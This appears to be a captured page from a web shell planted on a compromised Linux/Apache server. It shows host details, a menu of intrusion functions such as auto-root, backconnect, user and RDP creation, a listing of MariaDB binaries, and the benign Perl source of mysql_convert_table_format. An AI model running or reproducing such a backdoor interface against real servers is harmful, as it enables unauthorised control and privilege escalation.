Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
mariadb /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
aria_chk
5.33
MB
-rwxr-xr-x
aria_dump_log
5.14
MB
-rwxr-xr-x
aria_ftdump
5.15
MB
-rwxr-xr-x
aria_pack
5.17
MB
-rwxr-xr-x
aria_read_log
5.29
MB
-rwxr-xr-x
innochecksum
4.51
MB
-rwxr-xr-x
mariabackup
25.97
MB
-rwxr-xr-x
mariadb
5.2
MB
-rwxr-xr-x
mariadb-access
109.59
KB
-rwxr-xr-x
mariadb-admin
4.76
MB
-rwxr-xr-x
mariadb-backup
25.97
MB
-rwxr-xr-x
mariadb-binlog
5.01
MB
-rwxr-xr-x
mariadb-check
4.76
MB
-rwxr-xr-x
mariadb-client-test
5.22
MB
-rwxr-xr-x
mariadb-config
14.58
KB
-rwxr-xr-x
mariadb-conv
4.5
MB
-rwxr-xr-x
mariadb-convert-table-format
4.28
KB
-rwxr-xr-x
mariadb-dump
4.85
MB
-rwxr-xr-x
mariadb-dumpslow
8.19
KB
-rwxr-xr-x
mariadb-find-rows
3.35
KB
-rwxr-xr-x
mariadb-fix-extensions
1.31
KB
-rwxr-xr-x
mariadb-hotcopy
34.65
KB
-rwxr-xr-x
mariadb-import
4.75
MB
-rwxr-xr-x
mariadb-install-db
22.17
KB
-rwxr-xr-x
mariadb-ldb
8.63
MB
-rwxr-xr-x
mariadb-plugin
4.48
MB
-rwxr-xr-x
mariadb-secure-installation
13.7
KB
-rwxr-xr-x
mariadb-setpermission
17.7
KB
-rwxr-xr-x
mariadb-show
4.75
MB
-rwxr-xr-x
mariadb-slap
4.77
MB
-rwxr-xr-x
mariadb-test
5.49
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
4.48
MB
-rwxr-xr-x
mariadb-upgrade
4.91
MB
-rwxr-xr-x
mariadb-waitpid
4.47
MB
-rwxr-xr-x
mariadb_config
14.58
KB
-rwxr-xr-x
mariadbd-multi
27.1
KB
-rwxr-xr-x
mariadbd-safe
30.66
KB
-rwxr-xr-x
mariadbd-safe-helper
4.44
MB
-rwxr-xr-x
mbstream
4.51
MB
-rwxr-xr-x
msql2mysql
1.43
KB
-rwxr-xr-x
my_print_defaults
4.47
MB
-rwxr-xr-x
myisam_ftdump
4.75
MB
-rwxr-xr-x
myisamchk
4.87
MB
-rwxr-xr-x
myisamlog
4.73
MB
-rwxr-xr-x
myisampack
4.77
MB
-rwxr-xr-x
myrocks_hotbackup
24.46
KB
-rwxr-xr-x
mysql
5.2
MB
-rwxr-xr-x
mysql_client_test
5.22
MB
-rwxr-xr-x
mysql_config
4.57
KB
-rwxr-xr-x
mysql_convert_table_format
4.28
KB
-rwxr-xr-x
mysql_find_rows
3.35
KB
-rwxr-xr-x
mysql_fix_extensions
1.31
KB
-rwxr-xr-x
mysql_install_db
22.17
KB
-rwxr-xr-x
mysql_ldb
8.63
MB
-rwxr-xr-x
mysql_plugin
4.48
MB
-rwxr-xr-x
mysql_secure_installation
13.7
KB
-rwxr-xr-x
mysql_setpermission
17.7
KB
-rwxr-xr-x
mysql_tzinfo_to_sql
4.48
MB
-rwxr-xr-x
mysql_upgrade
4.91
MB
-rwxr-xr-x
mysql_waitpid
4.47
MB
-rwxr-xr-x
mysqlaccess
109.59
KB
-rwxr-xr-x
mysqladmin
4.76
MB
-rwxr-xr-x
mysqlbinlog
5.01
MB
-rwxr-xr-x
mysqlcheck
4.76
MB
-rwxr-xr-x
mysqld_multi
27.1
KB
-rwxr-xr-x
mysqld_safe
30.66
KB
-rwxr-xr-x
mysqld_safe_helper
4.44
MB
-rwxr-xr-x
mysqldump
4.85
MB
-rwxr-xr-x
mysqldumpslow
8.19
KB
-rwxr-xr-x
mysqlhotcopy
34.65
KB
-rwxr-xr-x
mysqlimport
4.75
MB
-rwxr-xr-x
mysqlshow
4.75
MB
-rwxr-xr-x
mysqlslap
4.77
MB
-rwxr-xr-x
mysqltest
5.49
MB
-rwxr-xr-x
mytop
71.96
KB
-rwxr-xr-x
perror
4.67
MB
-rwxr-xr-x
replace
4.45
MB
-rwxr-xr-x
resolve_stack_dump
4.47
MB
-rwxr-xr-x
resolveip
4.47
MB
-rwxr-xr-x
sst_dump
4.2
MB
-rwxr-xr-x
wsrep_sst_backup
2.39
KB
-rwxr-xr-x
wsrep_sst_common
65.72
KB
-rw-r--r--
wsrep_sst_mariabackup
50.94
KB
-rwxr-xr-x
wsrep_sst_mysqldump
8.04
KB
-rwxr-xr-x
wsrep_sst_rsync
29.7
KB
-rwxr-xr-x
wsrep_sst_rsync_wan
29.7
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mysql_convert_table_format
#!/usr/bin/perl # Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335 USA # Convert given tables in a database to MYISAM use DBI; use Getopt::Long; warn "$0: Deprecated program name. It will be removed in a future release, use 'mariadb-convert-table-format' instead\n" if $0 =~ m/mysql_convert_table_format$/; $opt_help=$opt_version=$opt_verbose=$opt_force=0; $opt_user=$opt_database=$opt_password=undef; $opt_host="localhost"; $opt_socket=""; $opt_engine="MYISAM"; $opt_port=0; $exit_status=0; GetOptions( "e|engine|type=s" => \$opt_engine, "f|force" => \$opt_force, "help|?" => \$opt_help, "h|host=s" => \$opt_host, "p|password=s" => \$opt_password, "u|user=s" => \$opt_user, "v|verbose" => \$opt_verbose, "V|version" => \$opt_version, "S|socket=s" => \$opt_socket, "P|port=i" => \$opt_port ) || usage(0); usage($opt_version) if ($#ARGV < 0 || $opt_help || $opt_version); $opt_database=shift(@ARGV); if (grep { /^$opt_engine$/i } qw(HEAP MEMORY BLACKHOLE)) { print "Converting to '$opt_engine' would delete your data; aborting\n"; exit(1); } $connect_opt=""; if ($opt_port) { $connect_opt.= ";port=$opt_port"; } if (length($opt_socket)) { $connect_opt.=";mariadb_socket=$opt_socket"; } $dbh = DBI->connect("DBI:MariaDB:$opt_database:${opt_host}$connect_opt", $opt_user, $opt_password, { PrintError => 0}) || die "Can't connect to database $opt_database: $DBI::errstr\n"; my @tables; push(@ARGV, "%") if(!@ARGV); foreach $pattern (@ARGV) { my ($sth,$row); $sth=$dbh->prepare("SHOW TABLES LIKE ?"); $rv= $sth->execute($pattern); if(!int($rv)) { warn "Can't get tables matching '$pattern' from $opt_database; $DBI::errstr\n"; exit(1) unless $opt_force; } while (($row = $sth->fetchrow_arrayref)) { push(@tables, $row->[0]); } $sth->finish; } print "Converting tables:\n" if ($opt_verbose); foreach $table (@tables) { my ($sth,$row); # Check if table is already converted $sth=$dbh->prepare("show table status like '$table'"); if ($sth->execute && ($row = $sth->fetchrow_arrayref)) { if (uc($row->[1]) eq uc($opt_engine)) { print "$table already uses the '$opt_engine' engine; Ignored\n"; next; } } print "converting $table\n" if ($opt_verbose); $table=~ s/`/``/g; if (!$dbh->do("ALTER TABLE `$table` ENGINE=$opt_engine")) { print STDERR "Can't convert $table: Error $DBI::errstr\n"; exit(1) if (!$opt_force); $exit_status=1; } } $dbh->disconnect; exit($exit_status); sub usage { my($version)=shift; print "$0 version 1.1\n"; exit(0) if ($version); print <<EOF; Conversion of a MariaDB tables to other storage engines Usage: $0 database [table[ table ...]] If no tables has been specifed, all tables in the database will be converted. You can also use wildcards, ie "my%" The following options are available: -f, --force Continue even if there is some error. -?, --help Shows this help -e, --engine=ENGINE Converts tables to the given storage engine (Default: $opt_engine) -h, --host=HOST Host name where the database server is located. (Default: $opt_host) -p, --password=PASSWORD Password for the current user. -P, --port=PORT TCP/IP port to connect to if host is not "localhost". -S, --socket=SOCKET Socket to connect with. -u, --user=USER User name to log into the SQL server. -v, --verbose This is a test specific option that is only used when debugging a test. Print more information about what is going on. -V, --version Shows the version of this program. EOF exit(1); }
Close